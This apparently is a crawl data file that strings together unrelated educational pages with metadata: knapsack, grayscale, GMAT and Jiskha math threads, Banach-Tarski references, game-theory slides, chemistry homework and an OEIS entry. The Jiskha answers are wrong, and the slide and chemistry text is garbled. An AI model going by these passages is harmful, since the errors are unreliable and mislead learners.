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http://cs.stackexchange.com/questions/9282/algorithms-to-prioritize-equipment-renewals | 1,469,328,925,000,000,000 | text/html | crawl-data/CC-MAIN-2016-30/segments/1469257823935.18/warc/CC-MAIN-20160723071023-00090-ip-10-185-27-174.ec2.internal.warc.gz | 58,384,412 | 19,599 | # Algorithms to prioritize equipment renewals
I am looking for algorithms to prioritize equipment renewals.
Input: (years since last renewal, cost of renewal, importance of renewal).
Output: An ordering of the equipment according to which it will be renewed.
I do not know if there are any algorithms for this particular problem. If you have any idea how to fit this problem into a more general context, that would be useful too.
A way to rephrase the problem:
You have $n$ pieces of equipment $E_1,\ldots,E_n$. For each piece $E_i$ you have a triple $(\text{age}_i,\text{cost}_i,\text{importance}_i)$. At the beginning of the year you have $X$ amount of money. You want to spend these money in order to minimize the function $\sum_i \text{age}_i\cdot \text{importance}_i$ at the end of the year. So, during the year you have to select a subset $S$ of $\{1,\ldots,n\}$ such that: $$\sum_{i\in S} \text{cost}_i\le X \text{ (cost constraint)}$$ and the sum $$\sum_{i\in S} \text{age}_i\cdot \text{importance}_i$$ is maximal among all subsets of $\{1,\ldots,n\}$ that satisfy the cost constraint.
Any help?
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Any other data? As it stands, the obvious optimal schedule is don't change anything, as they won't ever break/be left without maintenance/... I.e., you give no reaon to change anything. – vonbrand Jan 29 '13 at 19:11
@vonbrand: The reason to change anything is the importance factor. That's a good comment. I will edit the post to make it more specific. – Ioannis Souldatos Jan 29 '13 at 19:36
You ignore changes of cost over time as well as costs implied by notrenewing (e.g. failure). I wonder whether that's a problem of your practical circumstances or your model. Or do you consider this a theoretical problem? – Raphael Jan 30 '13 at 13:11
@Raphael: You are right costs will change over time, but let's assume that you split time into time intervals (years in the above formulation) during which the cost does not change. That's for the sake of simplification. – Ioannis Souldatos Jan 30 '13 at 16:32
@Raphael: If equipment fails, then the importance factor increases. If the equipment is absolutely necessary, importance becomes a very large positive number (you can even allow $\infty$). – Ioannis Souldatos Jan 30 '13 at 16:37
Given the clarification to the question, it is a 0-1 knapsack problem (your knapsack is the money available, the value is the objective function), and look for ways to solve that one, for example following the Wikipedia lead.
Edit: A simple approximate algorithm would be just sort equipment on increasing cost per unit (age * importance), and in that order include each if it fits (doesn't run over maximal cost). In the case of continuous knapsack (i.e., can include a fraction of a item) that strategy is optimal. Should work fine if there are many items, and the data isn't too spread out.
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This will do. Thank you. – Ioannis Souldatos Jan 30 '13 at 16:42
It all depends on how you define how you decide a an equipment is to be renewed. But at the end, you may sort the lists lexicographically. That is, define a comparison function that takes as input two sets $X = (x _1, ..., x_k)$ and $Y = (y _1, ..., y _k)$, it will return true if $X \succ Y$ and false otherwise, where $X \succ Y$ if:
• $x _1 \succ y _1$ or:
• if there is a $j$ s.t. $1 < j \leq k$, $x _j \succ y _j$ and $x _i = y _i$ for each $1 \leq i < j$.
Use this function with any sorting algorithm you know. (but instead of sorting numbers, you sort lists according to the set comparison function you define).
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This would do the job, but I want something that combines the three factors. I edited the post to be make it more precise. – Ioannis Souldatos Jan 29 '13 at 20:10 | 987 | 3,700 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.203125 | 3 | CC-MAIN-2016-30 | latest | en | 0.90053 |
https://en.m.wikipedia.org/wiki/Greyscale | 1,604,085,634,000,000,000 | text/html | crawl-data/CC-MAIN-2020-45/segments/1603107911229.96/warc/CC-MAIN-20201030182757-20201030212757-00596.warc.gz | 311,197,424 | 19,795 | # Grayscale
(Redirected from Greyscale)
In digital photography, computer-generated imagery, and colorimetry, a grayscale or image is one in which the value of each pixel is a single sample representing only an amount of light; that is, it carries only intensity information. Grayscale images, a kind of black-and-white or gray monochrome, are composed exclusively of shades of gray. The contrast ranges from black at the weakest intensity to white at the strongest.[1]
Grayscale images are distinct from one-bit bi-tonal black-and-white images, which, in the context of computer imaging, are images with only two colors: black and white (also called bilevel or binary images). Grayscale images have many shades of gray in between.
Grayscale images can be the result of measuring the intensity of light at each pixel according to a particular weighted combination of frequencies (or wavelengths), and in such cases they are monochromatic proper when only a single frequency (in practice, a narrow band of frequencies) is captured. The frequencies can in principle be from anywhere in the electromagnetic spectrum (e.g. infrared, visible light, ultraviolet, etc.).
A colorimetric (or more specifically photometric) grayscale image is an image that has a defined grayscale colorspace, which maps the stored numeric sample values to the achromatic channel of a standard colorspace, which itself is based on measured properties of human vision.
If the original color image has no defined colorspace, or if the grayscale image is not intended to have the same human-perceived achromatic intensity as the color image, then there is no unique mapping from such a color image to a grayscale image.
## Numerical representations
A sample grayscale image
The intensity of a pixel is expressed within a given range between a minimum and a maximum, inclusive. This range is represented in an abstract way as a range from 0 (or 0%) (total absence, black) and 1 (or 100%) (total presence, white), with any fractional values in between. This notation is used in academic papers, but this does not define what "black" or "white" is in terms of colorimetry. Sometimes the scale is reversed, as in printing where the numeric intensity denotes how much ink is employed in halftoning, with 0% representing the paper white (no ink) and 100% being a solid black (full ink).
In computing, although the grayscale can be computed through rational numbers, image pixels are usually quantized to store them as unsigned integers, to reduce the required storage and computation. Some early grayscale monitors can only display up to sixteen different shades, which would be stored in binary form using 4 bits. But today grayscale images (such as photographs) intended for visual display (both on screen and printed) are commonly stored with 8 bits per sampled pixel. This pixel depth allows 256 different intensities (i.e., shades of gray) to be recorded, and also simplifies computation as each pixel sample can be accessed individually as one full byte. However, if these intensities were spaced equally in proportion to the amount of physical light they represent at that pixel (called a linear encoding or scale), the differences between adjacent dark shades could be quite noticeable as banding artifacts, while many of the lighter shades would be "wasted" by encoding a lot of perceptually-indistinguishable increments. Therefore, the shades are instead typically spread out evenly on a gamma-compressed nonlinear scale, which better approximates uniform perceptual increments for both dark and light shades, usually making these 256 shades enough (just barely) to avoid noticeable increments.
Technical uses (e.g. in medical imaging or remote sensing applications) often require more levels, to make full use of the sensor accuracy (typically 10 or 12 bits per sample) and to reduce rounding errors in computations. Sixteen bits per sample (65,536 levels) is often a convenient choice for such uses, as computers manage 16-bit words efficiently. The TIFF and PNG (among other) image file formats support 16-bit grayscale natively, although browsers and many imaging programs tend to ignore the low order 8 bits of each pixel. Internally for computation and working storage, image processing software typically uses integer or floating-point numbers of size 16 or 32 bits.
## Converting color to grayscale
A color photo converted to grayscale
Conversion of an arbitrary color image to grayscale is not unique in general; different weighting of the color channels effectively represent the effect of shooting black-and-white film with different-colored photographic filters on the cameras.
### Colorimetric (perceptual luminance-preserving) conversion to grayscale
A common strategy is to use the principles of photometry or, more broadly, colorimetry to calculate the grayscale values (in the target grayscale colorspace) so as to have the same luminance (technically relative luminance) as the original color image (according to its colorspace).[2][3] In addition to the same (relative) luminance, this method also ensures that both images will have the same absolute luminance when displayed, as can be measured by instruments in its SI units of candelas per square meter, in any given area of the image, given equal whitepoints. Luminance itself is defined using a standard model of human vision, so preserving the luminance in the grayscale image also preserves other perceptual lightness measures, such as L* (as in the 1976 CIE Lab color space) which is determined by the linear luminance Y itself (as in the CIE 1931 XYZ color space) which we will refer to here as Ylinear to avoid any ambiguity.
To convert a color from a colorspace based on a typical gamma-compressed (nonlinear) RGB color model to a grayscale representation of its luminance, the gamma compression function must first be removed via gamma expansion (linearization) to transform the image to a linear RGB colorspace, so that the appropriate weighted sum can be applied to the linear color components (${\displaystyle R_{\mathrm {linear} },G_{\mathrm {linear} },B_{\mathrm {linear} }}$ ) to calculate the linear luminance Ylinear, which can then be gamma-compressed back again if the grayscale result is also to be encoded and stored in a typical nonlinear colorspace.[4]
For the common sRGB color space, gamma expansion is defined as
${\displaystyle C_{\mathrm {linear} }={\begin{cases}{\frac {C_{\mathrm {srgb} }}{12.92}},&{\text{if }}C_{\mathrm {srgb} }\leq 0.04045\\\left({\frac {C_{\mathrm {srgb} }+0.055}{1.055}}\right)^{2.4},&{\text{otherwise}}\end{cases}}}$
where Csrgb represents any of the three gamma-compressed sRGB primaries (Rsrgb, Gsrgb, and Bsrgb, each in range [0,1]) and Clinear is the corresponding linear-intensity value (Rlinear, Glinear, and Blinear, also in range [0,1]). Then, linear luminance is calculated as a weighted sum of the three linear-intensity values. The sRGB color space is defined in terms of the CIE 1931 linear luminance Ylinear, which is given by
${\displaystyle Y_{\mathrm {linear} }=0.2126R_{\mathrm {linear} }+0.7152G_{\mathrm {linear} }+0.0722B_{\mathrm {linear} }}$ .[5]
These three particular coefficients represent the intensity (luminance) perception of typical trichromat humans to light of the precise Rec. 709 additive primary colors (chromaticities) that are used in the definition of sRGB. Human vision is most sensitive to green, so this has the greatest coefficient value (0.7152), and least sensitive to blue, so this has the smallest coefficient (0.0722). To encode grayscale intensity in linear RGB, each of the three color components can be set to equal the calculated linear luminance ${\displaystyle Y_{\mathrm {linear} }}$ (replacing ${\displaystyle R_{\mathrm {linear} },G_{\mathrm {linear} },B_{\mathrm {linear} }}$ by the values ${\displaystyle Y_{\mathrm {linear} },Y_{\mathrm {linear} },Y_{\mathrm {linear} }}$ to get this linear grayscale), which then typically needs to be gamma compressed to get back to a conventional non-linear representation.[6] For sRGB, each of its three primaries is then set to the same gamma-compressed Ysrgb given by the inverse of the gamma expansion above as
${\displaystyle Y_{\mathrm {srgb} }={\begin{cases}12.92\ Y_{\mathrm {linear} },&{\text{if }}Y_{\mathrm {linear} }\leq 0.0031308\\1.055\ Y_{\mathrm {linear} }^{1/2.4}-0.055,&{\text{otherwise}}\end{cases}}}$
Because the three sRGB components are then equal, indicating that it is actually a gray image (not color), it is only necessary to store these values once, and we call this the resulting grayscale image. This is how it will normally be stored in sRGB-compatible image formats that support a single-channel grayscale representation, such as JPEG or PNG. Web browsers and other software that recognizes sRGB images should produce the same rendering for such a grayscale image as it would for a "color" sRGB image having the same values in all three color channels.
### Luma coding in video systems
For images in color spaces such as Y'UV and its relatives, which are used in standard color TV and video systems such as PAL, SECAM, and NTSC, a nonlinear luma component (Y') is calculated directly from gamma-compressed primary intensities as a weighted sum, which, although not a perfect representation of the colorimetric luminance, can be calculated more quickly without the gamma expansion and compression used in photometric/colorimetric calculations. In the Y'UV and Y'IQ models used by PAL and NTSC, the rec601 luma (Y') component is computed as
${\displaystyle Y'=0.299R'+0.587G'+0.114B'}$
where we use the prime to distinguish these nonlinear values from the sRGB nonlinear values (discussed above) which use a somewhat different gamma compression formula, and from the linear RGB components. The ITU-R BT.709 standard used for HDTV developed by the ATSC uses different color coefficients, computing the luma component as
${\displaystyle Y'=0.2126R'+0.7152G'+0.0722B'}$ .
Although these are numerically the same coefficients used in sRGB above, the effect is different because here they are being applied directly to gamma-compressed values rather than to the linearized values. The ITU-R BT.2100 standard for HDR television uses yet different coefficients, computing the luma component as
${\displaystyle Y'=0.2627R'+0.6780G'+0.0593B'}$ .
Normally these colorspaces are transformed back to nonlinear R'G'B' before rendering for viewing. To the extent that enough precision remains, they can then be rendered accurately.
But if the luma component Y' itself is instead used directly as a grayscale representation of the color image, luminance is not preserved: two colors can have the same luma Y' but different CIE linear luminance Y (and thus different nonlinear Ysrgb as defined above) and therefore appear darker or lighter to a typical human than the original color. Similarly, two colors having the same luminance Y (and thus the same Ysrgb) will in general have different luma by either of the Y' luma definitions above.[7]
## Grayscale as single channels of multichannel color images
Color images are often built of several stacked color channels, each of them representing value levels of the given channel. For example, RGB images are composed of three independent channels for red, green and blue primary color components; CMYK images have four channels for cyan, magenta, yellow and black ink plates, etc.
Here is an example of color channel splitting of a full RGB color image. The column at left shows the isolated color channels in natural colors, while at right there are their grayscale equivalences:
Composition of RGB from 3 Grayscale images
The reverse is also possible: to build a full color image from their separate grayscale channels. By mangling channels, using offsets, rotating and other manipulations, artistic effects can be achieved instead of accurately reproducing the original image.
## Grayscale modes
Some operating systems offer a grayscale mode. It may be bound to a hotkey or this could be programmable.
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# If a code word is defined to be a sequence of different
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If a code word is defined to be a sequence of different [#permalink] 07 Oct 2008, 06:08
If a code word is defined to be a sequence of different letters chosen from the 10 letters A, B, C, D, E, F, G, H, I, and J, what is the ratio of the number of 5-letter code words to the number of 4-letter code words?
A. 5 to 4
B. 3 to 2
C. 2 to 1
D. 5 to 1
E. 6 to 1
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Re: math ---code [#permalink] 07 Oct 2008, 06:12
albany09 wrote:
If a code word is defined to be a sequence of different letters chosen from the 10 letters A, B, C, D, E, F, G, H, I, and J, what is the ratio of the number of 5-letter code words to the number of 4-letter code words?
A. 5 to 4
B. 3 to 2
C. 2 to 1
D. 5 to 1
E. 6 to 1
5 letter code is 10P5 so 10*9*8*7*6
4 letter code is 10P4 so 10*9*8*7
ratio is 5 letter code over 4 letter so thats 6 over 1
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Re: math ---code [#permalink] 07 Oct 2008, 06:12
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Display posts from previous: Sort by | 758 | 2,387 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.90625 | 4 | CC-MAIN-2015-27 | longest | en | 0.858396 |
http://www.jiskha.com/display.cgi?id=1264650659 | 1,498,567,381,000,000,000 | text/html | crawl-data/CC-MAIN-2017-26/segments/1498128321410.90/warc/CC-MAIN-20170627115753-20170627135753-00688.warc.gz | 560,927,962 | 4,216 | # Math
posted by .
Every question like this I have gotten wrong:
"Multiply or divide the expression below. Leave your answer as simplified as possible."
(3x-1)(x+7) 10(2x-5)
--------- • ---------
4(2x-5) (4x+1)(x+7)
This is from the college preparatory math section 10.1.4
I need to find what the denominator can not equal.
• Math -
Go to webmath, it's a site on the internet. When you get there click on home and scroll down to complex numbers, multiplying. There you can type in the problem and it will show you step by step how to do this. Your gonna love this site. Take care!
• Math -
ummm.... its been a while. i think its 10(3x^2)/ 4x | 184 | 649 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.21875 | 3 | CC-MAIN-2017-26 | latest | en | 0.901194 |
http://math.stackexchange.com/questions/56825/reference-about-the-banach-tarski-paradox | 1,469,709,642,000,000,000 | text/html | crawl-data/CC-MAIN-2016-30/segments/1469257828282.32/warc/CC-MAIN-20160723071028-00170-ip-10-185-27-174.ec2.internal.warc.gz | 163,325,874 | 21,953 | I think the title says it all. I am planning on giving a talk in a few weeks about the Banach-Tarski paradox and I have some pdfs found online which describe the paradox a little but I am looking for a solid reference which covers the construction from A to Z and on which I can extract the main ideas for my talk from (I understand the ideas beneath the paradox, I am just looking for a formal proof with no details excluded,i.e. a well-structured document). Anyone has a reference in mind?
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Doesn't Wikipedia give more than enough references? – t.b. Aug 11 '11 at 2:29
If you could only read one book about it, go with Stan Wagon's. – J. M. Aug 11 '11 at 2:30
I said references. I didn't say Wikipedia is any good for the proof (this is only rarely the case except for utter trivialities). But you have Wagon (including the Wolfram demo), Stromberg, Banach-Tarski, von Neumann among many other things, even the circle-squaring problem is mentioned. Only the pointer to the Ruziewicz problem is somewhat disguised. – t.b. Aug 11 '11 at 5:06
By the way Terry Tao's blog contains two rather nice blog entries on amenability and the BTP. David Feldman's thread on MO contains some nice ways of getting free subgroups of SO(3) which in my view is the heart of the matter. – t.b. Aug 11 '11 at 22:41
Sorry I copied the wrong link from Tao's blog (it's getting late here...): that's the one – t.b. Aug 11 '11 at 23:01
I gave a similar presentation at MathFest 2011 in Kentucky last week, using Stan Wagon's book as a guide. Here is a list of definitions/theorems/etc that are on the direct thread to reaching the Banach-Tarski Paradox (stated as a corollary in the book).
• Thm 1.2: Free group of Rank 2 F-paradoxical
• Prop 1.10: Group acting without nontrivial fixed points
• Thm 2.1: $SO_3$ has free subgroup of Rank 2
• Def 3.3: G-Equidecomposable
• Prop 3.4: Equidecomposability preserves Paradoxes
• Thm 3.9: $S^2$ and $S^2$ minus a countable set are equidecomposable
• Cor 3.10: The Banach-Tarski Paradox
As others have stated, there are MANY interesting results along the way in this book, and the development is superb. Here is a link to a modified version of the presentation I gave at MathFest. It is an attempt at illustrating exactly what is presented in the material of the text, rather than providing an alternative interpretation (baby steps, right?). For the web version, I've added some annotations so that it's better suited for reading as the original slide presentation didn't have a lot of textual development, though unfortunately I was not able to add detailed descriptions of the animations without significant re-work.
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Yes, that would be of a great help. Thanks =) – Patrick Da Silva Aug 11 '11 at 13:24
Rachel, these are really nice slides. I hope your presentation went well! – t.b. Aug 14 '11 at 22:09
@Theo - Thank you!! The presentation went unexpectedly well, actually! The room was absolutely packed--probably 80 students came to listen. The majority of students had heard of the paradox, but only one kept their hand up when I asked if they had an idea of the shape the pieces resembled. In the end I was awarded a student speaker award by the AMS. It was a great experience for my first mathematics presentation!! – Rachel Aug 14 '11 at 23:14
That is a wonderful story to hear, thanks for sharing it! Congratulations, and as far as I can tell from the slides this must have been deserved. The challenge of speaking in front of 80 people for a first time serious math presentation must have been quite exciting, no? I for one am glad that my first presentation was on an about ten times smaller scale... – t.b. Aug 14 '11 at 23:25
I've switched my check ; this answer is awesome. Thanks for everything, it'll definitively help! I'll give you news on my presentation. =) – Patrick Da Silva Aug 16 '11 at 16:56
In my view the images that show the constructive version of the BTP in hyperbolic space are the best to motivate what is going on. Sure, there are some details that are different in $R^3$ compared to $H^2$, but they are just details really. The underlying group theory -- the way a free group leads to a paradox -- is so clear in the hyperbolic plane, disk model. Of course, this is discussed in my BTP book, but this demo/movie (which anyone can look at with the free software) shows the story nicely.
Stan Wagon
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Hello Dr. Wagon, thanks for posting that demo! Hopefully you can register here... – J. M. Aug 11 '11 at 3:31
Thanks for your answer, I looked at the movie and it is very interesting. – Patrick Da Silva Aug 11 '11 at 4:56
The Banach-Tarski Paradox, a great book by Stan Wagon, quite detailed. Most university libraries would have it. The book also discusses a lot of interesting ancillary material, very useful for a lecture!
Comment: The result does not extend to $\mathbb{R}^2$. Roughly speaking, this is because there is a (finitely additive) translation invariant "measure" on all subsets of $\mathbb{R}^2$ that extends Lebesgue measure.
The following is an old question of Tarski: Given a disc and a square of equal area, can the disc be decomposed into a finite number of regions, which can be reassembled to form the square? About $20$ years ago, Laczkovich proved, to everyone's surprise, that the answer is yes.
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While I was taking issue with the first version of your answer (because it was the canonical one) the circle-squaring problem is an excellent suggestion! Re your comment: here's Banach's original article on the Ruziewicz-Problem Sur le problème de la mesure. By the way, many of the relevant original references on Banach-Tarski are available on the site of the Polish virtual library. – t.b. Aug 11 '11 at 3:51
@Theo: Thank you, I had not read the Banach paper, but now will. – André Nicolas Aug 11 '11 at 4:08
If your library doesn't have Stan Wagon's book, you should buy it. One of the most clearly written math books I have seen. – Ross Millikan Aug 11 '11 at 4:50
I am definitely going to take a look at this book. Thank you! – Patrick Da Silva Aug 11 '11 at 4:56 | 1,553 | 6,060 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.578125 | 3 | CC-MAIN-2016-30 | latest | en | 0.916745 |
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# In the figure, ABCD is a rectangle, and the area of ∆ACE is
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In the figure, ABCD is a rectangle, and the area of ∆ACE is [#permalink] 01 Oct 2018, 13:32
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In the figure, ABCD is a rectangle, and the area of ∆ACE is 10. What is the area of the rectangle?
(A) 18
(B) 22.5
(C) 36
(D) 44
(E) 45
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Re: In the figure, ABCD is a rectangle, and the area of ∆ACE is [#permalink] 02 Oct 2018, 06:36
solution pls??
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Re: In the figure, ABCD is a rectangle, and the area of ∆ACE is [#permalink] 02 Oct 2018, 10:42
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Hi,
Area of traingle ACE is 10. Calculate the 'height' of the traingle to get the width of the rectangle. Length of the rectangle is given as 5+4=9.
Height of triangle
1/2*5*h =10
h =10*2/5=4
Area of rectangle = 9*4=36
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Re: In the figure, ABCD is a rectangle, and the area of ∆ACE is [#permalink] 04 Sep 2019, 22:34
1
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Area of triangle ACE is 10. Calculate the 'height' of the triangle = width of the rectangle. Length of the rectangle is given: 5+4=9.
Height:
1/2*5*h =10
h =10*2/5=4
Area of rectangle = 9*4=36
Re: In the figure, ABCD is a rectangle, and the area of ∆ACE is [#permalink] 04 Sep 2019, 22:34
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# slides5 - Lecture 5 Solution concepts 14.12 Game Theory...
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Lecture 5 Solution concepts 14.12 Game Theory Muhamet Yildiz Road Map 1. Dominant-strategy equilibrium 2. Rationalizability 3. Nash Equilibrium 1
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1 Dominance s -i =(s 1 ,…, s i-1 ,s i+1 ,…,s n ) Definition: A pure strategy s i * strictly dominates s i if and only if s s u i ) > s s u i ) s i . ( i * , ( i , i i A mixed strategy σ i strictly dominates s i iff σ ( s s u s ) + L + σ ( s s u s ) > s s u ) s i i i 1 ) i ( i 1 , i i ik ) i ( ik , i i ( i , i A rational player never plays a strictly dominated strategy. Prisoners’ Dilemma 2 Cooperate Defect Cooperate (5,5) (0,6) Defect (6,0) (1,1) 2
Weak Dominance Definition: A pure strategy s i * weakly dominates s i if and only if s s u i ) s s u ) s i ( i * , ( i , i i i and at least one of the inequalities is strict. A mixed strategy σ i * weakly dominates s i iff i i i i ik i ik i i i i i i s s u s s u s s s u s + + ) , ( ) , ( ) ( ) , ( ) ( 1 1 σ σ L i s and at least one of the inequalities is strict.
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Two-Step Search and Option Value
Note: in order to run the simulation referred to in this slide, go here, to the Java Applet version. You will be directed to download the latest version of the Java plug-in.
In the previous slides of this topic, the decision-maker was faced with a many-step search situation. Consequently, we made sure to keep the other parameters in our model as simple as possible. For instance, the implied discount factor was always at 1.0 - that is, finding a good candidate was no less valuable later in the search process than it was earlier. Also, a priori, all candidates were equally likely to turn out valuable to the company. In other words, the manager was always faced with the same value probability distribution.
In this and the subsequent slides, we drastically reduce the number of possible search steps. This allows us to complicate the simulation in other ways, and explore the influence of several new parameters.
Note that there are only two candidates in the graphic to your left. Candidate 1 has a higher mean value than candidate 2, which is indicated by the circle's larger size. Candidate 2, on the other hand, is a riskier applicant to interview - her value is bound to have a higher variance than that of candidate 1. Accordingly, she is colored red. In this situation, only a couple of strategies are available to the interviewing manager: she could interview either candidate 1 or candidate 2 first, and then consider whether she ought to meet with the other one as well.
The "Manager" agents, then, follow the two strategies available to a perfectly rational interviewer. Manager 2 meets with candidate 2 first. Then, based on the newly-found value of the candidate, she decides to interview candidate 1 if and only if the expected payoff of such a step is positive. Manager 2 follows the opposite procedure, interviewing candidate 1 first.
Click on "Go" and see whose strategy is the better one. At every third time step, each manager's payoff is tallied up, and the graphs below our simulation jump up by a notch. Manager 2 should turn out to have a slight advantage in this situation - if candidate 1 turns out to be better than the well-known value of candidate 2, she chooses to stop, and save on the cost of the next interview. If, on the other hand, candidate 1 turns out to be quite awful, she can still elect to meet with candidate 2. This illustrates an important concept of option value, i.e. the value contained in the early realization of the riskiest choices. | 542 | 2,562 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.671875 | 3 | CC-MAIN-2018-05 | latest | en | 0.95699 |
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# HW9-ex3 - dsj294 hw09 Holcombe(53570 This print-out should...
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dsj294 – hw09 – Holcombe – (53570) 1 This print-out should have 25 questions. Multiple-choice questions may continue on the next column or page – find all choices before answering. You must use the Table of Stan- dard Reduction Potentials on Dr. Mc- Cord’s course website for all prob- lems in which values are not given. http://courses.cm.utexas.edu/pmccord/ ch302/help/red-table.html 001 10.0 points In the half-reaction Cr 2 O 2 7 Cr 3+ what is the change in the oxidation state of Cr? (Note that oxygen retains an oxidation state of - 2). 1. - 8 to +3 2. - 4 to +3 3. +6 to +3 correct 4. +8 to +3 5. +4 to +3 6. - 6 to +3 Explanation: Oxidation numbers are per atom. The oxi- dation number of a monatomic ion is equal to the charge on the ion. Chromium in Cr 3+ has an oxidation number of +3. The sum of ox- idation numbers in a polyatomic ion is equal to the charge on the ion. We set the sum of the oxidation numbers in Cr 2 O 2 7 equal to - 2 and solve for the oxidation number of Cr: 2 x + 7( - 2) = - 2 Cr 2 O 2 7 : x = +6 002 10.0 points Balance the reaction SnCl 2 + K 2 Cr 2 O 7 + HCl CrCl 3 + KCl + SnCl 4 + H 2 O . What is the coefficient of CrCl 3 in the bal- anced equation? Correct answer: 2. Explanation: The balanced equation is 3 SnCl 2 + K 2 Cr 2 O 7 + 14 HCl 2 CrCl 3 + 2 KCl + 3 SnCl 4 + 7 H 2 O . 003 (part 1 of 2) 10.0 points Using oxidation and reduction half- reactions, balance the skeletal equation O 3 (aq) + Br (aq) O 2 (g) + BrO 3 (aq) of the action of ozone on bromide ions. The reaction takes place in a basic solution. What is the smallest possible integer coefficient of BrO 3 in the combined balanced equation? Correct answer: 1. Explanation: Reduction half-reaction: O 3 (g) O 2 (g) Balance O: O 3 (g) O 2 (g) + H 2 O( ) Balance H: 2 H 2 O( ) + O 3 (g) O 2 (g) + H 2 O( ) + 2 OH (aq) Cancel H 2 O and balance the charge: H 2 O( ) + O 3 (g)+2 e O 2 (g) + 2 OH (aq) Oxidation half-reaction: Br (aq) BrO 3 (aq) Balance O: 3 H 2 O( ) + Br (aq) BrO 3 (aq) Balance H: 6 OH (aq) + 3 H 2 O( ) + Br (aq) BrO 3 (aq) + 6 H 2 O( ) Cancel H 2 O and balance the charge: 6 OH (aq) + Br (aq) BrO 3 (aq) + 3 H 2 O( ) + 6 e Balance the e : 3 [H 2 O( ) + O 3 (g) + 2 e O 2 (g) + 2 OH (aq)] 6 OH (aq) + Br (aq) BrO 3 (aq) + 3 H 2 O( ) + 6 e Add the half-reactions: 3 O 3 (g) + Br (aq) 3 O 2 (g) + BrO 3 (aq)
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dsj294 – hw09 – Holcombe – (53570) 2 004 (part 2 of 2) 10.0 points Identify the oxidizing agent in this reaction.
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A145081 Row 1 of square table A145080; also equals row 1 of square table A145085. 6
%I
%S 1,1,3,17,151,1901,31851,680265,17947631,571101141,21507723971,
%T 944074937297,47692346899367,2743393411694077,178059607814690011,
%U 12937663707325398297,1045119822694496457119,93294566475499260126949
%N Row 1 of square table A145080; also equals row 1 of square table A145085.
%C Let R(n,x) be the e.g.f. of row n of square table A145080, then the e.g.f.s satisfy: R(n,x) = exp( n*Integral R(n+1,x) dx ) for n>=1.
%C Let S(n,x) = R(n,x)^(1/n) be the e.g.f. of row n of square table A145085, then the e.g.f.s satisfy: S(n,x) = exp( Integral S(n+1,x)^(n+1) dx ) for n>=0.
%H Paul D. Hanna, <a href="/A145081/b145081.txt">Table of n, a(n) for n = 0..60</a>
%H Emma Colaric, Ryan DeMuse, Jeremy L. Martin, and Mei Yin, <a href="https://arxiv.org/abs/2006.09321">Interval parking functions</a>, arXiv:2006.09321 [math.CO], 2020.
%F E.g.f.: A(x) = R(1,x) = exp( Integral R(2,x) dx ) where R(n,x) is the e.g.f. of row n of square table A145080.
%F E.g.f.: A(x) = G'(x)/G(x) where G(x) is the e.g.f. of A145086, which is row 0 of square table A145085.
%o (PARI) a(n)=local(A=vector(n+2,j,1+j*x)); for(i=0,n+1,for(j=0,n,m=n+1-j;A[m]=exp(m*intformal(A[m+1]+x*O(x^n))))); n!*polcoeff(A[1],n,x)
%o (PARI) a(n)=local(A=vector(n+2,j,1+j*x)); for(i=0,n+1,for(j=0,n,m=n+1-j;A[m]=exp(intformal(A[m+1]^(m+1)+x*O(x^n))))); n!*polcoeff(A[1],n,x)
%o (PARI) a(n)=local(A=1); for(k=0, n-1, A=exp(intformal((n-k)*(A+x*O(x^n))))); n!*polcoeff(A, n)
%o for(n=0, 20, print1(a(n), ", ")) \\ _Paul D. Hanna_, Jan 08 2014
%Y Cf. A145080, A145082, A145083, A145084, A145085, A145086.
%K nonn
%O 0,3
%A _Paul D. Hanna_, Sep 30 2008
